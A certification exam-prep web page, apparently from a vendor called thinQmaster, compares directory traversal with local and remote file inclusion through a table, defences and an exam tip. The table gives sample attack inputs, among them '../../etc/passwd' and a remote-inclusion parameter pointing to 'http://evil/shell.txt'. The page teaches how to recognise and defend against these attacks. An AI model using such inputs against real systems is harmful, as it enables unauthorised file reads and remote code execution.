thinQmaster Virtual testing partner Adaptive practice exams that find your weak spots and drill them. Every answer explained. From $69
Enroll

thinQmaster

Find your exam

Five questions free, before you decide.

Step 1 · choose a vendor

In one of our camps? Your practice exams come with the tuition — they are on your study page already.

Commonly confused · Application & OT Security

Directory Traversal vs File Inclusion: What's the Difference?

Directory traversal manipulates file paths (for example ../../etc/passwd) to read files outside the intended directory. File inclusion tricks the application into including and often executing a local (LFI) or remote (RFI) file as code.

Directory Traversal

Full definition
vs

File Inclusion (LFI/RFI)

Directory TraversalFile Inclusion
Primary resultRead arbitrary filesInclude and execute files as code
Telltale input../ sequences, encoded %2e%2e%2f?page=../../log or ?page=http://evil/shell.txt
SeverityInformation disclosureOften remote code execution
Common inAny app handling file pathsPHP include/require patterns
DefenseCanonicalize paths, allow-list file names, chrootNever pass user input to include, disable remote includes
Remember it

Traversal reads the file; inclusion runs it.

Exam tip

Repeated ../ in a log means directory traversal. A URL parameter pointing to an external script file indicates remote file inclusion.

Tested on

More Application & OT Security look-alikes